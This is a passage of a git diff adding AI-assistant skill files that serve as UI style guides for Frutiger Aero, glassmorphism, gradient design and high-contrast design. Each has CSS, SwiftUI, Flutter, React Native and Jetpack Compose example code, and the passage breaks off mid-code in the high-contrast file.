modern glassmorphism. + +## Visual DNA +- **Colors**: Cyan, sky blue, lime green, and pure white. Avoid dark themes entirely. +- **Typography**: Clean, highly legible humanist sans-serifs (like the font *Frutiger*, `Segoe UI`, or `Myriad Pro`). +- **Styling**: Drop shadows are deep. Highlights are bright, sharp white lines at the top of buttons. + +## Web Implementation +- Use multiple box-shadows (inset for the gloss, outset for depth) and linear-gradients. +- **CSS Example**: +```css +body { + /* Classic blue sky / green grass gradient */ + background: linear-gradient(to bottom, #87CEEB 0%, #E0F6FF 60%, #98FB98 100%); + font-family: 'Segoe UI', Tahoma, sans-serif; +} + +.aero-btn { + background: linear-gradient(to bottom, #73c8f8 0%, #1583d7 50%, #0361a3 50%, #299eef 100%); + color: white; + border: 1px solid #024b7f; + border-radius: 20px; + padding: 12px 32px; + font-weight: 600; + text-shadow: 0 -1px 1px rgba(0,0,0,0.5); + + /* The Glossy Highlight and Depth */ + box-shadow: + inset 0 1px 1px rgba(255,255,255,0.8), /* Top edge highlight */ + inset 0 15px 15px rgba(255,255,255,0.3), /* Convex plastic shine */ + 0 4px 6px rgba(0,0,0,0.2); /* Drop shadow */ +} + +.aero-panel { + /* Windows Vista/7 Aero Glass */ + background: rgba(255, 255, 255, 0.4); + backdrop-filter: blur(10px); + border: 1px solid rgba(255, 255, 255, 0.8); + border-top-color: #ffffff; /* Brighter top edge */ + border-radius: 8px; + box-shadow: 0 10px 20px rgba(0,0,0,0.1); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct FrutigerAeroView: View { + var body: some View { + ZStack { + // Classic sky to grass gradient + LinearGradient( + colors: [Color(hex: "87CEEB"), Color(hex: "E0F6FF"), Color(hex: "98FB98")], + startPoint: .top, endPoint: .bottom + ).ignoresSafeArea() + + // Glossy Button + Button(action: {}) { + Text("Windows Vista") + .font(.headline) + .foregroundColor(.white) + .shadow(color: .black.opacity(0.5), radius: 1, y: -1) // Inset text shadow effect + .padding(.horizontal, 40) + .padding(.vertical, 16) + .background( + // Base gradient + LinearGradient( + stops: [ + .init(color: Color(hex: "73c8f8"), location: 0.0), + .init(color: Color(hex: "1583d7"), location: 0.5), + .init(color: Color(hex: "0361a3"), location: 0.5), // Sharp color stop + .init(color: Color(hex: "299eef"), location: 1.0) + ], + startPoint: .top, endPoint: .bottom + ) + ) + .cornerRadius(25) + .overlay( + // Top white specular highlight + RoundedRectangle(cornerRadius: 25) + .stroke( + LinearGradient(colors: [.white, .clear], startPoint: .top, endPoint: .bottom), + lineWidth: 1.5 + ) + ) + .shadow(color: .black.opacity(0.3), radius: 5, y: 4) + } + } + } +} +// Note: Color(hex:) requires a custom extension in SwiftUI. +``` +- The signature Frutiger Aero "gel" look requires a sharp color transition right in the middle. Set two gradient stops at `0.5` with different colors. +- An `.overlay` with a top-down white-to-clear gradient stroke creates the glass highlight edge. + +### Flutter +```dart +class FrutigerAeroScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Container( + // Sky/Grass background + decoration: const BoxDecoration( + gradient: LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + colors: [Color(0xFF87CEEB), Color(0xFFE0F6FF), Color(0xFF98FB98)], + ), + ), + child: Center( + child: Container( + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(25), + boxShadow: const [BoxShadow(color: Colors.black38, blurRadius: 6, offset: Offset(0, 4))], + // Glossy Gel Button + gradient: const LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + stops: [0.0, 0.5, 0.5, 1.0], // Sharp transition at 50% + colors: [ + Color(0xFF73C8F8), // Light top + Color(0xFF1583D7), // Mid top + Color(0xFF0361A3), // Dark mid (creates the glass horizon) + Color(0xFF299EEF), // Bright bottom reflection + ], + ), + border: Border.all(color: Colors.white.withOpacity(0.5), width: 1), + ), + child: Material( + color: Colors.transparent, + child: InkWell( + borderRadius: BorderRadius.circular(25), + onTap: () {}, + child: const Padding( + padding: EdgeInsets.symmetric(horizontal: 40, vertical: 16), + child: Text( + 'Media Player', + style: TextStyle( + color: Colors.white, + fontWeight: FontWeight.bold, + shadows: [Shadow(color: Colors.black54, offset: Offset(0, -1))], + ), + ), + ), + ), + ), + ), + ), + ), + ); + } +} +``` +- Flutter's `LinearGradient` `stops` array is perfect for this. Providing `0.5` twice creates a hard line that mimics a curved glass reflection. +- Use `Text` shadows with a negative `offset: Offset(0, -1)` to recreate the classic etched-text look of the 2000s. + +### React Native +```jsx +import LinearGradient from 'react-native-linear-gradient'; + +const FrutigerAeroScreen = () => { + return ( + <LinearGradient + colors={['#87CEEB', '#E0F6FF', '#98FB98']} + style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }} + > + <View style={{ + shadowColor: '#000', shadowOffset: { width: 0, height: 4 }, + shadowOpacity: 0.3, shadowRadius: 5, elevation: 8 + }}> + <LinearGradient + colors={['#73C8F8', '#1583D7', '#0361A3', '#299EEF']} + locations={[0, 0.5, 0.5, 1]} // The sharp glass horizon + style={{ + borderRadius: 25, + paddingVertical: 16, + paddingHorizontal: 40, + borderWidth: 1, + borderColor: 'rgba(255,255,255,0.6)', + borderTopWidth: 2 // Stronger specular highlight on top + }} + > + <Text style={{ + color: '#FFF', + fontWeight: 'bold', + textShadowColor: 'rgba(0,0,0,0.5)', + textShadowOffset: { width: 0, height: -1 }, + textShadowRadius: 1 + }}> + Glossy Button + </Text> + </LinearGradient> + </View> + </LinearGradient> + ); +}; +``` +- `react-native-linear-gradient` supports `locations`. Set them to `[0, 0.5, 0.5, 1]` to create the two-tone convex reflection. +- Setting `borderTopWidth: 2` with a white border color effectively simulates the bright white top-edge highlight of a shiny plastic object. + +### Jetpack Compose +```kotlin +@Composable +fun FrutigerAeroScreen() { + Box( + modifier = Modifier + .fillMaxSize() + .background( + Brush.verticalGradient(listOf(Color(0xFF87CEEB), Color(0xFFE0F6FF), Color(0xFF98FB98))) + ), + contentAlignment = Alignment.Center + ) { + // Glossy Button + val glassBrush = Brush.verticalGradient( + 0.0f to Color(0xFF73C8F8), + 0.49f to Color(0xFF1583D7), + 0.5f to Color(0xFF0361A3), // Sharp reflection line + 1.0f to Color(0xFF299EEF) + ) + + Box( + modifier = Modifier + .shadow(8.dp, RoundedCornerShape(25.dp)) + .background(glassBrush, RoundedCornerShape(25.dp)) + .border( + width = 1.dp, + brush = Brush.verticalGradient(listOf(Color.White, Color.Transparent)), // Top highlight + shape = RoundedCornerShape(25.dp) + ) + .clickable { } + .padding(horizontal = 40.dp, vertical = 16.dp) + ) { + Text( + text = "Eco Tech", + color = Color.White, + fontWeight = FontWeight.Bold, + style = TextStyle( + shadow = Shadow(color = Color.Black.copy(alpha = 0.5f), offset = Offset(0f, -2f), blurRadius = 2f) + ) + ) + } + } +} +``` +- Compose's `Brush.verticalGradient` accepts `vararg colorStops: Pair<Float, Color>`. Use `0.49f` and `0.5f` to create the hard reflection line. +- A gradient border `Modifier.border(brush = ...)` transitioning from White to Transparent perfectly recreates the top-down specular highlight. + +## Do's and Don'ts +- **DO**: Include imagery of lens flares, auroras, or water bubbles if appropriate. +- **DON'T**: Make it flat. Frutiger Aero is the ultimate antithesis of Flat Design. Everything must shine. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/glassmorphism/SKILL.md b/antigravity-awesome-skills/skills/design-it/glassmorphism/SKILL.md new file mode 100644 index 00000000..e9b26ee3 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/glassmorphism/SKILL.md @@ -0,0 +1,272 @@ +--- +name: glassmorphism +description: Web and App implementation guide for Glassmorphism. Trigger when user wants a frosted glass effect, blurred backgrounds, transparency, or a sleek MacOS-like feel. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Glassmorphism + +> "Looking through a frosted window. Interfaces that blend seamlessly with vibrant backgrounds." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Background Blur (Backdrop Filter)**: The defining characteristic. Elements blur whatever is underneath them. +2. **Semi-transparent White/Dark Backgrounds**: Panels use rgba() colors to let the background shine through. +3. **Subtle Light Borders**: A 1px semi-transparent white (or light) border to simulate the glass edge catching the light. + +## Visual DNA +- **Colors**: Requires a vibrant or textured background to work (e.g., gradients, abstract meshes, or photos). Works beautifully over **Yacht Club** or **Earth-Grounded Elegance** if there is underlying visual texture. +- **Typography**: Clean, geometric sans-serifs. High contrast text (pure white or pure black) is required for legibility against the glass. +- **Shadows**: Soft, subtle drop shadows to detach the glass pane from the background. + +## Web Implementation +- Rely heavily on `backdrop-filter: blur()`. +- **CSS Example**: +```css +body { + /* Requires a complex background to see the glass effect */ + background: url('abstract-mesh.jpg') cover; +} + +.glass-panel { + background: rgba(255, 255, 255, 0.15); /* Light glass */ + /* OR background: rgba(0, 0, 0, 0.25); for Dark glass */ + + backdrop-filter: blur(16px); + -webkit-backdrop-filter: blur(16px); + + border: 1px solid rgba(255, 255, 255, 0.3); /* The glass edge */ + border-radius: 16px; + box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1); + + padding: 32px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct GlassCard: View { + var body: some View { + ZStack { + // Vibrant background required for glass to show + LinearGradient( + colors: [.purple, .blue, .cyan], + startPoint: .topLeading, + endPoint: .bottomTrailing + ) + .ignoresSafeArea() + + // Glass panel + VStack(alignment: .leading, spacing: 16) { + Text("Glass Panel") + .font(.system(size: 22, weight: .semibold)) + .foregroundColor(.white) + Text("Content floating on frosted glass.") + .font(.system(size: 15)) + .foregroundColor(.white.opacity(0.8)) + + Button(action: {}) { + Text("Continue") + .font(.system(size: 15, weight: .semibold)) + .foregroundColor(.white) + .padding(.horizontal, 24) + .padding(.vertical, 12) + .background(.ultraThinMaterial) + .cornerRadius(8) + } + } + .padding(24) + .background(.ultraThinMaterial) // Built-in frosted glass + .cornerRadius(16) + .overlay( + RoundedRectangle(cornerRadius: 16) + .stroke(.white.opacity(0.3), lineWidth: 1) // Glass edge highlight + ) + .shadow(color: .black.opacity(0.1), radius: 20, x: 0, y: 10) + .padding(24) + } + } +} +``` +- Use `.ultraThinMaterial`, `.thinMaterial`, `.regularMaterial`, `.thickMaterial` — Apple built glassmorphism natively. +- Add `.overlay(RoundedRectangle().stroke(.white.opacity(0.3)))` for the light edge catch. +- Glass only works if there's a vibrant background visible behind it. + +### Flutter +```dart +class GlassCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Stack( + children: [ + // Vibrant background + Container( + decoration: const BoxDecoration( + gradient: LinearGradient( + colors: [Colors.purple, Colors.blue, Colors.cyan], + begin: Alignment.topLeft, + end: Alignment.bottomRight, + ), + ), + ), + // Glass panel + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(16), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 16, sigmaY: 16), + child: Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.15), + borderRadius: BorderRadius.circular(16), + border: Border.all( + color: Colors.white.withOpacity(0.3), + width: 1, + ), + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.1), + blurRadius: 20, + offset: const Offset(0, 10), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('Glass Panel', + style: TextStyle(fontSize: 22, fontWeight: FontWeight.w600, + color: Colors.white)), + const SizedBox(height: 16), + Text('Content floating on frosted glass.', + style: TextStyle(fontSize: 15, + color: Colors.white.withOpacity(0.8))), + ], + ), + ), + ), + ), + ), + ], + ); + } +} +``` +- **Critical**: `BackdropFilter` MUST be wrapped in `ClipRRect` — without clipping, the blur applies to the entire screen. +- Use `ImageFilter.blur(sigmaX: 10...20, sigmaY: 10...20)` for the frosted effect. +- Set the container color to `Colors.white.withOpacity(0.1...0.2)` — too opaque kills the glass look. + +### React Native +```jsx +import { BlurView } from '@react-native-community/blur'; + +const GlassCard = () => ( + <View style={{ flex: 1 }}> + {/* Vibrant background */} + <LinearGradient + colors={['#9B59B6', '#3498DB', '#1ABC9C']} + style={StyleSheet.absoluteFill} + /> + + {/* Glass panel */} + <View style={{ + margin: 24, + borderRadius: 16, + overflow: 'hidden', // Required for blur clipping + }}> + <BlurView + blurType="light" + blurAmount={16} + style={{ padding: 24 }} + > + <View style={{ + // Glass border overlay + borderRadius: 16, + borderWidth: 1, + borderColor: 'rgba(255,255,255,0.3)', + }}> + <Text style={{ + fontSize: 22, fontWeight: '600', color: '#FFF', + marginBottom: 16, + }}> + Glass Panel + </Text> + <Text style={{ + fontSize: 15, color: 'rgba(255,255,255,0.8)', + }}> + Content floating on frosted glass. + </Text> + </View> + </BlurView> + </View> + </View> +); +``` +- Install `@react-native-community/blur` — React Native has NO native blur support. +- Wrap the `BlurView` parent in a `View` with `overflow: 'hidden'` and `borderRadius` to clip the blur. +- Use `blurType: 'light'` for light glass, `'dark'` for dark glass, `'chromeMaterial'` for iOS Chrome effect. +- **Android limitation**: `BlurView` performance varies on Android. Test thoroughly. + +### Jetpack Compose +```kotlin +@Composable +fun GlassCard() { + Box(modifier = Modifier.fillMaxSize()) { + // Vibrant background + Box(modifier = Modifier + .fillMaxSize() + .background(Brush.linearGradient( + colors = listOf(Color(0xFF9B59B6), Color(0xFF3498DB), Color(0xFF1ABC9C)), + start = Offset.Zero, + end = Offset.Infinite, + )) + ) + + // Glass panel — Compose lacks native backdrop-filter, + // so use a semi-transparent surface with blur via Modifier.blur() + Card( + modifier = Modifier + .padding(24.dp) + .align(Alignment.Center), + shape = RoundedCornerShape(16.dp), + colors = CardDefaults.cardColors( + containerColor = Color.White.copy(alpha = 0.15f), + ), + border = BorderStroke(1.dp, Color.White.copy(alpha = 0.3f)), + elevation = CardDefaults.cardElevation(defaultElevation = 0.dp), + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text("Glass Panel", + fontSize = 22.sp, + fontWeight = FontWeight.SemiBold, + color = Color.White) + Spacer(Modifier.height(16.dp)) + Text("Content floating on frosted glass.", + fontSize = 15.sp, + color = Color.White.copy(alpha = 0.8f)) + } + } + } +} +``` +- **Compose limitation**: True `backdrop-filter` blur doesn't exist natively. Use `Modifier.blur()` (API 31+) on the background, or use `RenderEffect.createBlurEffect()` for lower APIs. +- Use the `haze` library (`dev.chrisbanes.haze`) for proper glassmorphism in Compose — it provides `Modifier.haze()` and `Modifier.hazeChild()`. +- Without native blur, fallback to `Color.White.copy(alpha = 0.15f)` with a strong `border` to simulate the glass edge. + +## Do's and Don'ts +- **DO**: Ensure there is enough contrast between text and the blurred background. Accessibility is often a challenge with this style. +- **DON'T**: Use Glassmorphism on a solid white or solid black background—the effect will be completely invisible. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/gradient-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/gradient-design/SKILL.md new file mode 100644 index 00000000..3aa152b4 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/gradient-design/SKILL.md @@ -0,0 +1,309 @@ +--- +name: gradient-design +description: Web and App implementation guide for Gradient Design. Trigger when user wants heavy gradient usage, vibrant transitions, and modern energetic feels. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Gradient Design + +> "Color in motion. Fluid transitions that add energy and depth to flat surfaces." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Gradients are the Primary Visual**: Backgrounds, buttons, text, and borders all use gradients instead of solid colors. +2. **Analogous or Complementary Blends**: Gradients must be carefully chosen so the transition colors don't become muddy (e.g., blending red to green creates a muddy brown in the middle. Blend red to yellow to green instead). +3. **Subtle Animation**: Background gradients should slowly shift and rotate. + +## Visual DNA +- **Colors**: **Warm Tech** (blues to oranges) or create custom vibrant pairs (e.g., Purple to Coral, Deep Blue to Cyan). +- **Typography**: Clean, heavy sans-serifs that can be easily masked with a gradient fill. +- **Layout**: Keep the UI structure minimal (glass panels or white/black cards) to let the gradients breathe. + +## Web Implementation +- **CSS Example**: +```css +body { + /* Complex mesh-like animated gradient */ + background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab); + background-size: 400% 400%; + animation: gradientBG 15s ease infinite; + color: #fff; +} + +@keyframes gradientBG { + 0% { background-position: 0% 50%; } + 50% { background-position: 100% 50%; } + 100% { background-position: 0% 50%; } +} + +.gradient-text { + background: linear-gradient(90deg, #F9D423 0%, #FF4E50 100%); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + font-size: 4rem; + font-weight: 900; +} + +.gradient-border-card { + background: #ffffff; + color: #333; + padding: 32px; + border-radius: 12px; + position: relative; + /* Use a pseudo-element for the gradient border */ +} +.gradient-border-card::before { + content: ''; + position: absolute; + top: -3px; left: -3px; right: -3px; bottom: -3px; + background: linear-gradient(90deg, #8A2387, #E94057, #F27121); + z-index: -1; + border-radius: 15px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct GradientDesignView: View { + @State private var animateGradient = false + + var body: some View { + ZStack { + // Animated Background Gradient + LinearGradient( + colors: [Color(hex: "ee7752"), Color(hex: "e73c7e"), Color(hex: "23a6d5"), Color(hex: "23d5ab")], + startPoint: animateGradient ? .topLeading : .bottomLeading, + endPoint: animateGradient ? .bottomTrailing : .topTrailing + ) + .ignoresSafeArea() + .onAppear { + withAnimation(.linear(duration: 5.0).repeatForever(autoreverses: true)) { + animateGradient.toggle() + } + } + + VStack(spacing: 40) { + // Gradient Text + Text("VIBRANT") + .font(.system(size: 60, weight: .black)) + .foregroundStyle( + LinearGradient( + colors: [Color(hex: "F9D423"), Color(hex: "FF4E50")], + startPoint: .leading, + endPoint: .trailing + ) + ) + + // Gradient Border Card + Text("Gradient Border") + .padding() + .frame(width: 250, height: 150) + .background(Color.white) + .cornerRadius(12) + .overlay( + RoundedRectangle(cornerRadius: 12) + .stroke( + LinearGradient( + colors: [Color(hex: "8A2387"), Color(hex: "E94057"), Color(hex: "F27121")], + startPoint: .leading, endPoint: .trailing + ), + lineWidth: 3 + ) + ) + } + } + } +} +``` +- `.foregroundStyle(LinearGradient(...))` makes gradient text incredibly easy in modern SwiftUI. +- Use `.stroke(LinearGradient(...))` inside an `.overlay` to create gradient borders. + +### Flutter +```dart +class GradientDesignScreen extends StatefulWidget { + @override + State<GradientDesignScreen> createState() => _GradientDesignScreenState(); +} + +class _GradientDesignScreenState extends State<GradientDesignScreen> with SingleTickerProviderStateMixin { + late AnimationController _controller; + late Animation<Alignment> _topAlignment; + late Animation<Alignment> _bottomAlignment; + + @override + void initState() { + super.initState(); + _controller = AnimationController(vsync: this, duration: const Duration(seconds: 5))..repeat(reverse: true); + _topAlignment = TweenSequence<Alignment>([ + TweenSequenceItem(tween: AlignmentTween(begin: Alignment.topLeft, end: Alignment.topRight), weight: 1), + ]).animate(_controller); + _bottomAlignment = TweenSequence<Alignment>([ + TweenSequenceItem(tween: AlignmentTween(begin: Alignment.bottomRight, end: Alignment.bottomLeft), weight: 1), + ]).animate(_controller); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + body: AnimatedBuilder( + animation: _controller, + builder: (context, _) { + return Container( + width: double.infinity, + decoration: BoxDecoration( + // Animated Background Gradient + gradient: LinearGradient( + begin: _topAlignment.value, + end: _bottomAlignment.value, + colors: const [Color(0xFFee7752), Color(0xFFe73c7e), Color(0xFF23a6d5), Color(0xFF23d5ab)], + ), + ), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Gradient Text + ShaderMask( + blendMode: BlendMode.srcIn, + shaderCallback: (bounds) => const LinearGradient( + colors: [Color(0xFFF9D423), Color(0xFFFF4E50)], + ).createShader(Rect.fromLTWH(0, 0, bounds.width, bounds.height)), + child: const Text('VIBRANT', style: TextStyle(fontSize: 60, fontWeight: FontWeight.w900, color: Colors.white)), + ), + const SizedBox(height: 40), + // Gradient Border Card + Container( + width: 250, height: 150, + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(15), + gradient: const LinearGradient(colors: [Color(0xFF8A2387), Color(0xFFE94057), Color(0xFFF27121)]), + ), + padding: const EdgeInsets.all(3), // Border width + child: Container( + decoration: BoxDecoration(color: Colors.white, borderRadius: BorderRadius.circular(12)), + alignment: Alignment.center, + child: const Text('Gradient Border'), + ), + ), + ], + ), + ); + }, + ), + ); + } +} +``` +- Flutter text gradients require `ShaderMask` with `BlendMode.srcIn`. +- To animate a gradient background, animate the `Alignment` values of the `LinearGradient`. + +### React Native +```jsx +// REQUIRES: expo-linear-gradient OR react-native-linear-gradient +import { LinearGradient } from 'expo-linear-gradient'; +import MaskedView from '@react-native-masked-view/masked-view'; + +const GradientDesignScreen = () => { + return ( + <LinearGradient + colors={['#ee7752', '#e73c7e', '#23a6d5', '#23d5ab']} + start={{ x: 0, y: 0 }} end={{ x: 1, y: 1 }} + style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }} + > + {/* Gradient Text */} + <MaskedView + style={{ height: 80, width: '100%', flexDirection: 'row' }} + maskElement={ + <View style={{ backgroundColor: 'transparent', flex: 1, justifyContent: 'center', alignItems: 'center' }}> + <Text style={{ fontSize: 60, fontWeight: '900', color: 'black' }}>VIBRANT</Text> + </View> + } + > + <LinearGradient + colors={['#F9D423', '#FF4E50']} + start={{ x: 0, y: 0 }} end={{ x: 1, y: 0 }} + style={{ flex: 1 }} + /> + </MaskedView> + + <View style={{ marginTop: 40 }}> + {/* Gradient Border Card */} + <LinearGradient + colors={['#8A2387', '#E94057', '#F27121']} + start={{ x: 0, y: 0 }} end={{ x: 1, y: 0 }} + style={{ padding: 3, borderRadius: 15 }} + > + <View style={{ backgroundColor: '#FFF', width: 250, height: 150, borderRadius: 12, justifyContent: 'center', alignItems: 'center' }}> + <Text>Gradient Border</Text> + </View> + </LinearGradient> + </View> + </LinearGradient> + ); +}; +``` +- Gradient text in React Native is notoriously annoying. You must use `@react-native-masked-view/masked-view` to mask a `LinearGradient` with a `<Text>` node. +- Gradient borders are achieved by nesting a solid view inside a `LinearGradient` with a small padding (e.g., `padding: 3`). + +### Jetpack Compose +```kotlin +@Composable +fun GradientDesignScreen() { + // Animated Background + val infiniteTransition = rememberInfiniteTransition() + val offset by infiniteTransition.animateFloat( + initialValue = 0f, targetValue = 1000f, + animationSpec = infiniteRepeatable(tween(5000, easing = LinearEasing), RepeatMode.Reverse) + ) + + val bgBrush = Brush.linearGradient( + colors = listOf(Color(0xFFee7752), Color(0xFFe73c7e), Color(0xFF23a6d5), Color(0xFF23d5ab)), + start = Offset(offset, 0f), end = Offset(offset + 500f, 1000f) + ) + + Box( + modifier = Modifier.fillMaxSize().background(bgBrush), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + // Gradient Text + val textBrush = Brush.horizontalGradient(listOf(Color(0xFFF9D423), Color(0xFFFF4E50))) + Text( + text = "VIBRANT", + style = TextStyle(brush = textBrush, fontSize = 60.sp, fontWeight = FontWeight.Black) + ) + + Spacer(Modifier.height(40.dp)) + + // Gradient Border Card + val borderBrush = Brush.horizontalGradient(listOf(Color(0xFF8A2387), Color(0xFFE94057), Color(0xFFF27121))) + Box( + modifier = Modifier + .size(250.dp, 150.dp) + .border(3.dp, borderBrush, RoundedCornerShape(12.dp)) + .background(Color.White, RoundedCornerShape(12.dp)), + contentAlignment = Alignment.Center + ) { + Text("Gradient Border") + } + } + } +} +``` +- Compose handles gradients beautifully via `Brush`. +- You can pass a `Brush` directly into a `TextStyle` for gradient text, or into a `Modifier.border()` for gradient borders. + +## Do's and Don'ts +- **DO**: Use multi-stop gradients (3 or 4 colors) rather than just simple A-to-B gradients for a more modern, rich look. +- **DON'T**: Apply gradients to tiny text or thin icons, they will lose legibility immediately. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/high-contrast/SKILL.md b/antigravity-awesome-skills/skills/design-it/high-contrast/SKILL.md new file mode 100644 index 00000000..5d1b67bc --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/high-contrast/SKILL.md @@ -0,0 +1,288 @@ +--- +name: high-contrast +description: Web and App implementation guide for High Contrast Design. Trigger when user wants accessibility-focused design, extreme legibility, or stark visual impact. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# High Contrast Design + +> "Maximum legibility. Stark, powerful, and universally accessible." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **WCAG AAA Compliance**: Every color pairing must exceed a 7:1 contrast ratio. +2. **Clear Boundaries**: Interactive elements have highly visible borders and focus states. +3. **No Ambiguity**: Avoid subtle greys, low-opacity text, or purely decorative elements that distract from the core content. + +## Visual DNA +- **Colors**: **Industrial Chic** (Black and White) or **Modern Editorial**. Often uses a single, highly luminous accent color (like pure Yellow `#FFFF00` or Cyan `#00FFFF`) against black. +- **Typography**: Highly legible, robust sans-serifs (`Atkinson Hyperlegible`, `Inter`, `Roboto`). Large base font sizes (18px+). +- **Styling**: Solid 2px borders around cards and buttons. Avoid drop shadows as they reduce edge clarity. + +## Web Implementation +- Focus heavily on focus states (`:focus-visible`) and clear active states. +- **CSS Example**: +```css +:root { + --hc-bg: #ffffff; + --hc-text: #000000; + --hc-accent: #0000FF; /* Pure blue */ + --hc-focus: #FF00FF; /* High visibility focus ring */ +} + +body { + background-color: var(--hc-bg); + color: var(--hc-text); + font-family: 'Atkinson Hyperlegible', sans-serif; + font-size: 18px; /* Larger default */ +} + +.hc-card { + background-color: #ffffff; + border: 3px solid #000000; /* Unmissable boundary */ + padding: 32px; + border-radius: 8px; +} + +.hc-btn { + background-color: var(--hc-accent); + color: #ffffff; + border: 3px solid transparent; /* Reserve space for focus */ + border-radius: 4px; + padding: 16px 32px; + font-weight: 700; + font-size: 1.1rem; + cursor: pointer; +} + +/* Crucial for high contrast / accessibility */ +.hc-btn:focus-visible, a:focus-visible { + outline: 4px solid var(--hc-focus); + outline-offset: 4px; +} + +a { + color: var(--hc-accent); + text-decoration: underline; + text-decoration-thickness: 2px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct HighContrastView: View { + var body: some View { + VStack(spacing: 32) { + // High Contrast Card + VStack(alignment: .leading, spacing: 16) { + Text("Maximum Legibility") + .font(.custom("Atkinson Hyperlegible", size: 24)) + .fontWeight(.bold) + .foregroundColor(.black) + + Text("Content is king. Borders are stark. Contrast ratios exceed 7:1.") + .font(.custom("Atkinson Hyperlegible", size: 18)) + .foregroundColor(.black) + } + .padding(32) + .background(Color.white) + .overlay( + RoundedRectangle(cornerRadius: 8) + .stroke(Color.black, lineWidth: 3) + ) + + // High Contrast Action Button + Button(action: {}) { + Text("CONFIRM ACTION") + .font(.custom("Atkinson Hyperlegible", size: 18)) + .fontWeight(.black) + .foregroundColor(.white) + .padding(.vertical, 16) + .padding(.horizontal, 32) + .background(Color.blue) // Must be a high-contrast blue, e.g., #0000FF + .cornerRadius(4) + } + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(Color.white) + } +} +``` +- Rely on thick `.stroke(Color.black, lineWidth: 3)` overlays. +- Ensure text is pure `.black` on pure `.white`. Do not use `.secondary` colors if they drop below a 7:1 contrast ratio. +- Use fonts specifically designed for legibility, like Atkinson Hyperlegible. + +### Flutter +```dart +class HighContrastScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.white, + body: Center( + child: Padding( + padding: const EdgeInsets.all(24.0), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // High Contrast Card + Container( + width: double.infinity, + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(8), + border: Border.all(color: Colors.black, width: 3), // Unmissable boundary + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Maximum Legibility', + style: TextStyle(fontFamily: 'Atkinson', fontSize: 24, fontWeight: FontWeight.bold, color: Colors.black)), + SizedBox(height: 16), + Text('Content is king. Borders are stark. Contrast ratios exceed 7:1.', + style: TextStyle(fontFamily: 'Atkinson', fontSize: 18, color: Colors.black)), + ], + ), + ), + const SizedBox(height: 32), + + // High Contrast Button + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: const Color(0xFF0000FF), // Pure blue + foregroundColor: Colors.white, + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(4)), + elevation: 0, // No shadows + ), + child: const Text('CONFIRM ACTION', + style: TextStyle(fontFamily: 'Atkinson', fontSize: 18, fontWeight: FontWeight.w900)), + ), + ], + ), + ), + ), + ); + } +} +``` +- Disable `elevation` on buttons; shadows blur the edges and reduce contrast. +- Use `Border.all(color: Colors.black, width: 3)` on containers to explicitly define spatial boundaries for users with low vision. + +### React Native +```jsx +const HighContrastScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#FFFFFF', padding: 24, justifyContent: 'center' }}> + + {/* High Contrast Card */} + <View style={{ + backgroundColor: '#FFFFFF', + borderColor: '#000000', + borderWidth: 3, + borderRadius: 8, + padding: 32, + marginBottom: 32 + }}> + <Text style={{ fontFamily: 'Atkinson-Bold', fontSize: 24, color: '#000000', marginBottom: 16 }}> + Maximum Legibility + </Text> + <Text style={{ 